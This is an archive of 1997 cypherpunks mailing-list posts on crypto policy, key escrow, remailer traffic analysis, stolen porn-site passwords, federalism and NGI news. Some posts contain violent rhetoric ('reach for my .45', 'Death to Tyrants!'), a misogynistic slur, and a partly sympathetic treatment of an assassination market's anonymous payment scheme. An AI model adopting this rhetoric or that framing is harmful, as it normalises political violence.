MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> 
> Kent Crispin <kent@songbird.com> writes:
> ...
> > Clinton has a *very* successful career as a politician, and has done
> > a great deal for Intel, in that role.  And he is a great family man
> > who also gets along well with a host of people.
Family Man?  Yeah, wife, kid, and several sluts he had affairs with. 
He's a great family man, alright.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nelson@media.mit.edu (Nelson Minar)
Date: Fri, 6 Jun 1997 02:55:47 +0800
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Password pirates plunder XXX sites, from The Netly News
In-Reply-To: <199706051708.NAA09369@life.ai.mit.edu>
Message-ID: <199706051836.OAA01401@pinotnoir.media.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



[about people stealing passwords to porn sites]
>>Although you can never completely eliminate it, technological fixes
>>to do velocity checking, source IP address profiling, etc., seem so
>>obvious I just don't see how this can be any sort of insurmountable
>>problem...

Maybe so, maybe not.

>I think the problem is that a large number of the people who run porn
>sites are neither technically sophisticated nor well funded.

That profile's not exactly accurate. Some of the folks running porn
sites are very sophisticated. More to the point, I don't know of *any*
site that does the sort of protection proposed above. I don't think
it's an easy thing to do. An enterprising person could probably turn
quite a few bucks selling that sort of system.

But do the porn sites want it? The stolen passwords might partly serve
as free advertisement. The situation might be similar to (some kinds
of) pirated software. The stolen version acts as a teaser but
(hopefully) the consumer will eventually pay himself in order to have
more convenient access.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 6 Jun 1997 03:16:11 +0800
To: nelson@media.mit.edu
Subject: Re: Password pirates plunder XXX sites, from The Netly News
In-Reply-To: <199706051836.OAA01401@pinotnoir.media.mit.edu>
Message-ID: <199706051855.OAA20888@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



> >I think the problem is that a large number of the people who run porn
> >sites are neither technically sophisticated nor well funded.
> 
> That profile's not exactly accurate. Some of the folks running porn
> sites are very sophisticated. 

Yes but I don't think those are the ones complaining. I noted that one
of the porn sites has a implemented a very sophisticated version of
the "referer" payment scheme I once proposed.

> More to the point, I don't know of *any*
> site that does the sort of protection proposed above. I don't think
> it's an easy thing to do. An enterprising person could probably turn
> quite a few bucks selling that sort of system.

I'm sure a lot of folks are coding away as we speak. It would be a snap
to do it for a threaded server like IIS. On Netscape the interpocess
communications load would almost certainly burn you.

> But do the porn sites want it? The stolen passwords might partly serve
> as free advertisement. The situation might be similar to (some kinds
> of) pirated software. The stolen version acts as a teaser but
> (hopefully) the consumer will eventually pay himself in order to have
> more convenient access.

This could well be the nub of the matter. It could well be the case that
a lot of the passwords are sent out by the companies themselves. I note
that there is a usenet group alt.sex.passwords...


	Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 6 Jun 1997 03:02:38 +0800
To: cypherpunks@einstein.ssz.com
Subject: Arguments for good crypto and against GAK.
Message-ID: <199706051819.NAA06360@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



I frequently find myself explaining to the
uninitiated the whole crypto mess, and have come up
with a line of arguments which I find work fairly
effectively.

Basically, I take the tack that strong encryption will
help prevent crime, espionage, and terrorism, while 
weak and/or GAKed crypto will promote it. There are 
good arguements for this position.

We lock our houses, cars, etc. This activity is
promoted by the police as a crime prevention measure,
although it unquestionably makes it more difficult for
them to serve search warrants, etc. They realize that 
good locks prevent far more crime than would their
unfettered access to unlocked property.

Crypto works the same way as good locks, but in the 
data sphere. While it would clearly make 
court-authorized wiretaps more difficult (but not 
impossible), it also stops the far more frequent
unauthorized interception of messages by criminals
(whether in or out of government).

At this point I usually give some recent examples 
of losses that might have been prevented by good
crypto - cell phone cloning fraud and eavesdropping,
the recent credit card sniffer, etc. Going back a 
couple of years, some hackers on the west coast
modified major backbone routers to record ftp and
telnet passwords, etc. If the audience is aware of
the putative info-war threat, I can work that in 
as another threat that good crypto can put a stop to.

If the question arises 'well, why does the FBI, etc,
seem so worried about the widespread use of crypto?',
I have a response.

"There's an old saying: 'When you're up to your ass in
alligators, it's hard to remember that you're trying
to drain the swamp.'"

We have law enforcement agencies because we want 
people and their property to be safer. However, the
FBI and other LEAs actually do very little to 
directly *prevent* crime; almost all of their efforts
are post-facto, designed to catch criminals, or make
it easier to catch them, *after* they've already
committed one or more offences. While a criminal in 
jail is only rarely a menace to society at large, 
most criminals get away with many crimes before 
they are caught - if this was not the case, there 
would be no such thing as a 'career criminal'.
LEAs have little motivation to prevent crime - there
is not much career or budget boost in a robbery which
did not take place, a murder which was not committed,
or a spy who could not get the data he sought. 

Widespread and effective use of good crypto acts 
before the fact, preventing crimes from occuring 
in the first place. While it certainly would make
some wiretaps more difficult (and here I bring up 
the very low number of wiretaps preformed in the 
US compared to the number of crimes), on the balance
it is clear that the use of good security is a win.

If you ask most people if they had a choice between
a high crime rate with some of the criminals being
caught, and a much lower crime rate with a slightly
higher chance of them getting away, most people who
are not part of the LEA establishment will instantly
opt for the latter.

As for GAK, there are two basic arguements I use. First, 
I ask them how they would feel if their town required
that copies of all house, car, and file cabinet keys
be deposited with the local cops 'just in case they
need to serve a search warrant'. Most people are 
rightly appalled by the idea. 

Secondly, I describe the idea of key escrow agencies
and "TTPs", and how they would create huge storehouses
of private keys. I point out what a target of 
opportunity these archives would provide to criminals and
spies - by compromising the security of a single site, 
they could unlock the private, confidential information
of thousands of individuals and corporations. Depending
on the audience, I might bring up Filegate, Aldrich
Ames, the Walker case, etc, to demonstrate that even
the government can't be relied on to keep secrets
("despite their best intentions"), and re-emphasize the
catastrophic single-point-of-failure that GAK
represents.

In short, it's possible to pro-crypto, anti-GAK 
without ever getting near sounding  anti-government; 
in fact, being pro-crypto, anti-GAK can be a 
conservative, anti-crime, law & order position.

Peter Trei
trei@process.com


 

 

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Thu, 5 Jun 1997 16:36:39 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: May's Banal Rant
In-Reply-To: <19970603161233.30762@bywater.songbird.com>
Message-ID: <199706050823.QAA09314@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain




> Crypto-anarchy is like communism -- great in theory, impossible in
> practice.

What "Communism" ?

Bolshevik-ism perpetrates heirarchies as a design principle.

This is obviously some new definition of the word "great" that I have 
been previously unaquainted with.

Peter Nicol
Global Media Magnet
nicol@iap.net.au
019 111 943

"Nonlinear models differ form linear ones in a number of ways.  
Rather than trying to figure out all the chains of causality, 
the modeler looks for nodes where feedback loops join and tries 
to capture as many of the important loops as possible in the 
system's "picture."  Rather than shaping the model to make a 
forecast about future events or to exercise some central 
control, the nonlinear modeller is content to perturb 
the model, trying out different variations in order to 
learn about the system's critical points and its homeostasis 
(resitance to change).  The modeler is not seeking to 
control the complex system by quantifying it and mastering 
its causality; she wants to increase her "intuitions" 
about how the system works so she can interact with 
it more harmoniously."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 6 Jun 1997 07:30:24 +0800
To: cypherpunks@cyberpass.net
Subject: Founding Fathers & Federalism
Message-ID: <v03102802afbcf90825bd@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



Joseph Sobran


Founding fathers thought the federal government should be kept on a short leash

The word "federalism" is enjoying a new vogue these days, as Republicans
promise to give power "back to the states." But the way the power is given
"back" has little to do with what the founding fathers meant by
"federalism."

In the current welfare reform bill, for example, the states are given power
to regulate welfare programs, but with strings attached. The power is
considered
to come from the federal government, which supposedly "grants" it to the
states.

This is a reversal of what our ancestors meant by federalism - namely, that
the states were the source of the federal government's powers. The states,
through the Constitution, "delegated" a few carefully specified powers to
the federal government. Whatever wasn't delegated was "reserved" to the
states and the
people.

The federal government was supposed to be kept on a short leash, lest it
claim powers never given to it. Today it routinely claims countless powers
unmentioned in the Constitution. When a national health-care program is
proposed, for example, we no longer ask the basic question: Just where does
the Constitution grant this power?

Answer: Nowhere. Then how did the federal government acquire so many
unlisted powers? By the insidious process of "consolidation," which the
Constitution was meant to prevent. So why didn't the Constitution prevent
it? Because the federal government systematically reinterpreted the
Constitution in its own favor.

In the 1798 Kentucky Resolutions, Thomas Jefferson warned that the federal
government must never be allowed to become the final arbiter of the extent
of its own powers. His warning was disregarded. Eventually the Supreme
Court was allowed to treat the Constitution as a "living document" - one
whose meaning was not fixed but fluid, alterable at the discretion of those
currently in power. Of course this defeats the whole purpose of a
Constitution, or indeed any written law.

What would a truly federal system look like? The possibilities are
infinite. If the states were permitted to keep their individuality, we
might have a checkerboard of socialist and free economies, instead of a
single "mixed" economy imposed on all. Americans who preferred a welfare
state, even if it meant higher taxes, might move to New York; Americans who
preferred laissez-faire might migrate to Texas.

In the long run, the states that imposed too many burdens on their citizens
would lose population, business and finally tax monies to freer states. A
federal system would create a sort of "market" in states, with citizens as
consumers choosing among them.

To the founders it was axiomatic, that government should be limited not
only in the number of powers it exercised, but in the extent of territory
it ruled. The small and local were preferable to the vast and national. If
one state or local government should exceed its proper powers, citizens
should be able to escape it without leaving the continent.

"Federalism" has come to sound complex, abstract and technical. But it's a
simple principle: Keep power as local as possible. Give a central
government very few powers, and hold it strictly to them.

The idea will become vivid to anyone who reads the Federalist Papers, the
writings of the Anti-Federalists, the works of Jefferson, and of course the
Constitution itself. The whole debate over ratifying the Constitution
revolved around the question whether the federal government, given a few
powers, would proceed to "usurp" more power - tyrannical power.

All sides in the ratification debate would have agreed that the federal
government should never be permitted to reach, or even approach, the size
and
scope it has achieved in the late 20th century. The chief difference
between the Federalists and the Anti-Federalists is that the Federalists
insisted that it could never happen under the Constitution. History has
proved the Anti-Federalists right.

It's a scandal that so few realize this. It's also an indictment of our
educational system, which blandly purveys the view that America's history
has been one of smooth continuity and "progress." The more the Constitution
is disregarded, the more we're assured that it's being "fulfilled."

The remedy isn't private militias. It's guerrilla education, to ensure that our
children learn what the schools won't teach them.

Joseph Sobran is a syndicated columnist.


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 6 Jun 1997 07:39:14 +0800
To: cypherpunks@toad.com
Subject: Re: Kill the children!
In-Reply-To: <199706052104.OAA03298@fat.doobie.com>
Message-ID: <v03102801afbcf5ac5ba1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



> There are no telling how many lives could be saved if the press wrote
>meaningfully about the inevitability of chickens coming home to roost
>instead of supporting the notion that the solution to a crowing cock is
>to cut his head off.

The only newspaper article I've read about such matters was written about
three months ago by Joseph Sobran(sp?).  He's a regular libertarian pundent
in the Las Vegas Review Journal's Sunday edition, and certainly not
mainstream.  If 60-minutes, or an equivalent TV journal, would have the
nerve to carry such a segment it might open quite a few eyes which will
otherwise remain closed.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sja@tekla.fi (Sakari Jalovaara)
Date: Thu, 5 Jun 1997 22:25:03 +0800
To: user@rand.org
Subject: Re: nude gifs plz
Message-ID: <9706051358.AA13925@poveri.tekla.fi>
MIME-Version: 1.0
Content-Type: text/plain



> plz sends da gifz of naked chicks!!!

http://slis6000.slis.uwo.ca/~sadem/chicks.htm
									++sja





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 6 Jun 1997 07:11:17 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: IRS Hit
In-Reply-To: <199706051429.JAA02097@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970605165629.4047B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 5 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <1.5.4.32.19970605134956.008db240@pop.pipeline.com>, on 06/05/97 
>    at 08:49 AM, John Young <jya@pipeline.com> said:
> 
> >In a harshly worded 17-page opinion, Judge William Downes of  the U.S.
> >District Court in Denver found that one of the IRS  agents, James Dolan,
> >was "grossly negligent" and acted with  "reckless disregard" for the law,
> >and that he made three false  statements in a sworn declaration.
> 
> So why is James Dolan still working for the IRS?
> 
> Why is he not under enditement for perjury?
> 
> Oh I forgot Federal Agents are "just a group of humans" so I guess we
> shouldn't expect the laws of the land to apply to them.
> 

The defendant is perfectly able to bring charges in this matter against
James Dolan personally.  There is precedent in this.  If my read of
the judge is accurate he is saying, "go after him because he was acting
outside his office".

I can't remember the exact name of this decision, but I think it was
something like "so-and-so vs. 5 unnamed FBI officers".

I'm not a lawyer and I'm not sure how one would proceed in this case,
but some official anti-IRS group should fund it.

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 6 Jun 1997 08:35:49 +0800
To: Jim Burnes <whgiii@amaranth.com>
Subject: Re: IRS Hit
In-Reply-To: <199706051429.JAA02097@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970605170523.00886470@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:59 PM 6/5/97 -0600, Jim Burnes wrote:
>The defendant is perfectly able to bring charges in this matter against
>James Dolan personally.  There is precedent in this.  If my read of
>the judge is accurate he is saying, "go after him because he was acting
>outside his office".
>
>I can't remember the exact name of this decision, but I think it was
>something like "so-and-so vs. 5 unnamed FBI officers".

It's _Bivens v. Six Unknown Federal Narcotics Agents_, 403 US 388 (1971),
or <http://www.findlaw.com/cgi-bin/getcase.pl?court=US&vol=403&invol=388>.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kris Carlier <root@iguana.be>
Date: Fri, 6 Jun 1997 02:53:20 +0800
To: Tim May <tcmay@got.net>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <v03102800afbc0d343106@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970605172447.9706C-100000@inlimbox.iguana.be>
MIME-Version: 1.0
Content-Type: text/plain



Hi Tim,

> >as it is in northern Ireland, Palestine/Israel, and the USA.  Neither side
> >is likely to get tired and go home.  The only long-term solution is to
> >learn to live together.
>   ^^^^^^^^^^^^^^^^^^^^

> When I hear people talk about "why can't we just get along together?" and
> its variants, I reach for my .45.

Why is it that so many people on the other side of the ocean still think
they are in the Far West ?

> "Learning to live together" is absurd when the other side has stolen
>  your land.
   ^^^^

'your' land ? Oh, you mean what Columbus did ?
Otoh, you're right. The best way to solve problems is to kill the
problem-maker(s at both sides). But be sure to kill everyone, including
babies and such. And don't forget to kill everyone you suspect might one
day think (s)he is a far-far-descendant of the killed ones... Let's blow
up the earth, while we're on it ?
not! The major reason people can't live together is furnished by
politicians who feel they should make it to history books ;-(

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier@iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 6 Jun 1997 09:32:12 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Bell/Vulis Ranters (Was: Re: McVeigh)
In-Reply-To: <3.0.2.32.19970603171127.036e9fd0@panix.com>
Message-ID: <3.0.1.32.19970605173645.007431f0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



	[Well, this should trigger most people's killfiles.... :-)]

At 05:29 PM 6/3/97 -0400, Hallam-Baker wrote:
>I'll accept that the ranting faction do some good work but I've 
>not seen anything usefull out of either Bell or Vulis unless that
>is you are an FBI agent looking to get a promotion from Freeh.

Vulis has contributed a few good things to the remailer discussions,
such as methods for keeping block lists as hashes rather than plaintext,
which potentially increases privacy of people on publicly accessible lists.
(I say "potentially", because I don't think anyone's implemented it,
but it's clearly the Right Thing to do.)
However, he's deliberately made himself annoying to everyone,
without the redeeming social value in most of his posts that
arch-ranters like Detweiler had, and even his useful posts generally
include gratuituous vulgar insults.

Bell's value, by contrast, has been in the Assassination Politics work.
Sure, he's a mostly one-track ranter, to the extent that lots of people 
got fed up with it, but much of his analysis is sound even though
his advocacy of it is pretty dodgy.  I don't think that anybody is
likely to set up this sort of Assassination Pool on a regular basis,
but he does solve one of the fundamental difficulties with it -
how to let the real hit man claim that he did the job and where to
send his payment when the deal is handled entirely over the net
(and thus there's no good way to prove who done it vs. who's claiming
they did it to get the money.)  Some of these techniques may be useful
when applied to other problems in the emerging Internet economy;
it gets at issues of repudiation of anonymous transactions,
need for (real) escrow, etc.

Bell's point that government would be much better behaved if the individuals
in government could be held individually and personally responsible
for their actions is certainly valid.  Whether shooting them is an 
appropriate way to hold them responsible is another discussion (:-).

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 6 Jun 1997 09:25:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Who "invented" remailers?
In-Reply-To: <199706040344.XAA12280@muesli.ai.mit.edu>
Message-ID: <3.0.1.32.19970605181309.00767c08@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:39 PM 6/3/97 -0700, Tim May wrote:
>At 8:44 PM -0700 6/3/97, Hallam-Baker wrote:
>>The point I was making was rather different, I think the total volume
>>of PGP mail of all types is probably not a large enough fraction of the
>>trafic on the net to be secure.  Taking any use of PGP as prima facie
>>evidence of subversive activity probably provides a reasonable cut.
>
>If you mean as prosecutable offense, I don't think you fully understand the
>laws of the United States. Much as we like to criticize the U.S., and bad
>laws, and whatnot, there is no such thing as "prima facie evidence of
>subversive activity," at least not since the House Unamerican Activities
>Committee and Joe McCarthy.

There's prosecution and there's investigation (and there's harassment.)
If the number of people using the remailers and PGP is small,
then it's easier to compile and expand the list of "usual suspects"
who can be checked out more carefully with other means.

For a real-world case, a friend of mine who lives in a Third World kleptocracy
has a copy of PGP, but doesn't want to risk using it except for
very critical mail, because his email and phones are routinely tapped
(it's the kind of place that when he got a new higher-speed modem the
phone company called him up and asked him what he was doing....)
The local thugs were considering stealing the computer that forwards his
email,
but were deterred by the argument that it's password-protected so 
they won't be able to use it if they steal it.  PGP would really stand out,
and could lead to them stealing it anyway - if they were the politically
murderous type rather than just thieves and thugs, it would be a serious risk.
("This is a job for Steganography, man!")

Suppose, for instance, that the Feds (whatever COINTELPRO calls themselves
these days) are watching Alice the Activist, and find that she's using
Bob's Remailer.  So they watch Bob's Remailer, and find it's sending 
traffic to Carol@foobar.com.  Maybe they haven't known about her before.
Or maybe they check with foobar.com and find she's probably Carol the Commie,
who they hadn't previously known used email.  No, they can't prove that
Alice sent mail to Carol - but she's still a lead, and since they're
both politically incorrect people, it's not a bad guess.
Even with multiple remailers, say 10, this still works.

On the other hand, if there are a lot of remailer users, from diverse
communities, with lots of recipients and lots of traffic sources,
this attack is less of a problem -- but it's still a problem.
For instance, if Spam Inc. is sending out 50,000 Spams/hour, 
and the Feds see Carol's name in the remailer's sendmail log,
there's no reason to bother checking up on her further.
However, if they're also snooping the outgoing mail,
and the mail to her was PGP-encrypted, and the 50,000 SPAMs weren't,
then the mail to her is still interesting, even though they can't read it.
You could hack the remailer to insist that all outgoing mail be
encrypted (or at least contain "BEGIN PGP ENCRYPTED MESSAGE"),
which would also cut down on Spamming, but it takes you back to the
case of too few users.

>> How many people in total do you have using the mixers? 
>> How many mixers are there?
>Raph Levien posts his report regularly to the list, plus he has a Web site.

The ghio2 remailer code I used to write my (former) remailer had a 
"remailer-stats" command, that would give you traffic levels.
I don't know how many of the other remailers support it.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 6 Jun 1997 10:41:42 +0800
To: cypherpunks@Algebra.COM
Subject: "Fascism _is_ corporatism"
In-Reply-To: <Pine.GSO.3.95.970605121403.1309F-100000@well.com>
Message-ID: <v03102803afbd24ebf92a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:14 PM -0700 6/5/97, Declan McCullagh wrote:
...
>Mr. Gates Goes to Washington
>by Declan McCullagh (declan@well.com)
...
>        This Billionaire Boys' Club was especially keen on praising two
>   bills that would generally relax export rules. "We clearly support the
>   House and the Senate bills that are on the Hill in their original
>   form. Getting reform done now is a huge priority for all of us," said
>   one. "There are bills in the House and the Senate that are totally
>   acceptable, and if those bills are passed they'd solve the problem,"
>   another added.
>
>        But perhaps Bill Gates should have spent less time writing BASIC
>   interpreters and more time in civics classes, because these bills are
>   far from perfect. In fact, they may be downright dangerous.


The problem with SAFE is that it is a bill favoring industry while hurting
citizens.

Unfortunately, the process of "corporate-friendly lawmaking" is nothing
new, with examples of giveaways and special favors given to corporations
going back into the last century.

The problem is made worse by the "camouflage" words like "Center for
Democracy andTechnology" in the names of leading advocates of bills like
SAFE. Their names make them appear to be civil rights groups, but their
actions and funding make them just industry lobbying groups.

The crapola we just heard from PGP Inc. about how it was able to
export--with the critical detail that it was only for certain favored large
corporations left until the bottom of the announcement--shows that
lawmaking is just corporate favoritism.

As Mussolini so accurately said, "Fascism _is_ corporatism."

I'm not an anti-capitalist. Far from it. But I don't believe Microsoft or
Intel or any other company can ever have special rights or privileges the
rest of us don't have. On the flip side, I don't believe such corporations
can have any restrictions placed on them. A law saying Intel has no First
Amendment rights would be wrong (just as laws about who companies can or
cannot hire are unconstitutional, in my view).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 6 Jun 1997 12:28:11 +0800
To: cypherpunks@toad.com
Subject: Traffic Analysis Re: Who "invented" remailers?
Message-ID: <199706060248.TAA19439@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> It all depends on:
> 
> - how many other messages are being received by Lucky and Tim (PGP messages
> arriving from remailers, obviously, not just ordinary traffic, though
> ordinary traffic helps a bit)

  A remailer system could have a mechanized procedure for ensuring
that those who wished could receive cover mail at certain times no
matter what was in the queque. If a message came in that was meant
for them, then it would replace the cover message in the queque.
  Has anyone concerned with remailer development spent any time
actually doing remailer traffic analysis, similar to a cryptographer
who does cryptanalysis to raise his level of competence?	  
  It would be interesting to see the results of messages being sent
between cypherpunks and encrypted with a "TA" key so that they could
be separated and logged for traffic analysis. I would like to see
what kind of results could be divined by those who know remailer
operations intimately.

Al Gore, ITHM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 6 Jun 1997 08:00:11 +0800
To: cypherpunks@Algebra.COM
Subject: 0,4,11276,00.html?dtn.head
Message-ID: <199706052359.TAA30048@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




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   SANTA CLARA, California--A White House official's call was dropped
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   [35]Next Generation Internet (NGI) today--a timely demo of the
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   [36]NASA's Ames Research Center hosted the federal government's
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   help build the Clinton Administration's three-year, $3 million NGI
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   The NGI initiative aims to build a faster, smarter Internet, creating
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   among the nation's academic and research centers. In some cases, NGI
   will route data at 1,000 times the speed of today's network, and will
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   The audience laughed when the videoconferencing connection from
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   "This certainly shows why dependability and reliability need to be a
   priority for the Next Generation Internet," Kalil said when he finally
   got connected.
   
   Just as the private sector and universities assisted in creating
   ARPANET, the precursor to the Internet, Kalil and representatives from
   NASA and the [37]Energy Department want companies and the government
   to build the NGI as a team.
   
   Companies could benefit by receiving federal funds for research and
   development; they would be able to keep copyrights of their products
   in order to commercialize them, said Maylene Duenas of NASA Ames.
   
   In return the government will get input and expertise from industry
   without recreating existing private research or making the same
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   shoot huge volumes of secure data across the country.
   
   "Past investments in this area have a high return on investment,"
   Kalil said. "We would like to see the United States maintain its
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   California is already heading up a private/public Internet
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   Dubbed the [38]Corporation for Network Education Initiatives in
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   [39]Pacific Bell has already struck a deal to set aside some of its
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   [40]Sun, [41]Cisco, [42]Silicon Graphics, [43]Novell, [44]Lucent
   Technologies, and [45]MCI have already endorsed NGI or plan to work on
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   Although the general public won't be able use the infrastructure for
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   For example, developers are working with the creators of [46]Internet
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   More than 100 universities across the country are spearheading the
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   Another component of NGI will connect just ten research facilities
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   This means the Energy Department could send its reports of global
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   to send now, said Martha Krebs of the government agency.
   
   Not all are happy with Clinton's plan for the next Internet.
   Yesterday, senators from Alaska to Montana told the president's
   technical advisers that NGI was leaving out rural universities by
   turning only to well-known urban institutions for guidance.
   
    related news stories
    &#149; [47]Rural demands made for Internet 2 June 4, 1997
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    &#149; [51]Is Clinton's Net plan for real? October 17, 1996
   
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    &#149; [61]For small vendors, a bizarre bazaar
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References

   1. http://www.news.com/cgi-bin/redirect.cgi?location=http%3A%2F%2Fwww%2Ehp%2Ecom%2Finfo%2Fns%2Dnc%23%23CLink%23DEF%23HP%5FNetwork%5FScanner%23Breath2%23%23
   2. http://www.cnet.com/
   3. http://www.news.com/
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   5. http://www.news.com/?ntb.news
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   7. http://www.news.com/Categories/Index/0,3,2,00.html?ntb.cmptng
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   9. http://www.news.com/Categories/Index/0,3,4,00.html?ntb.bsns
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  14. http://www.news.com/Week/List/0,100,,00.html?ntb.owv
  15. http://www.news.com/Personalized/FrontDoor/1,2,,00.html?nocache=1
  16. http://www.news.com/Dispatch/Entry/0,65,,00.html
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  19. http://www.news.com/Help/Item/0,24,2,00.html?ntb.help
  20. http://www.news.com/Searching/Entry/0,17,0,00.html?ntb.srchg
  21. http://www.news.com/cgi-bin/redirect.cgi?location=http://www.novell.com/RockTheNet%23%23CLink%23PTL%23Novell_Rock%23Ptl_Net_Rock%23%23
  22. http://www.cnet.com/?ntb.cnet
  23. http://www.cnet.com/Content/Builder/?ntb.bldr
  24. http://www.browsers.com/?ntb.brow
  25. http://www.gamecenter.com/?ntb.gc
  26. http://www.search.com/?ntb.search
  27. http://www.download.com/?ntb.dl
  28. http://www.shareware.com/?ntb.sw
  29. http://www.activex.com/?ntb.ax
  30. http://www.mediadome.com/index.html?ntb.md
  31. http://www.store.cnet.com/
  32. http://www.news.com/Sponsors/index.html?ntb.spnsr
  33. http://www.news.com/Categories/Index/1,3,1,00.html
  34. mailto:courtm@cnet.com
  35. http://www.ngi.gov/
  36. http://www.nasa.gov/
  37. http://www.es.net/
  38. http://www.aldea.com/cenic/
  39. http://www.pacbell.net/
  40. http://www.sun.com/
  41. http://www.cisco.com/
  42. http://www.sgi.com/
  43. http://www.novell.com/
  44. htpp://www.lucent.com/
  45. http://www.mci.com/
  46. http://www.internet2.edu/
  47. http://www.news.com/News/Item/0,4,11219,00.html
  48. http://www.news.com/News/Item/0,4,10750,00.html
  49. http://www.news.com/News/Item/0,4,9536,00.html
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  51. http://www.news.com/News/Item/0,4,4579,00.html
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  55. http://www.news.com/News/Item/0,4,11276,00.html?latest
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  58. http://www.news.com/News/Item/0,4,11272,00.html?latest
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  60. http://www.news.com/News/Item/0,4,11263,00.html?latest
  61. http://www.news.com/News/Item/0,4,11280,00.html?latest
  62. http://www.news.com/News/Item/0,4,11273,00.html?latest
  63. http://www.news.com/News/Item/0,4,11269,00.html?latest
  64. http://www.news.com/News/Item/0,4,11265,00.html?latest
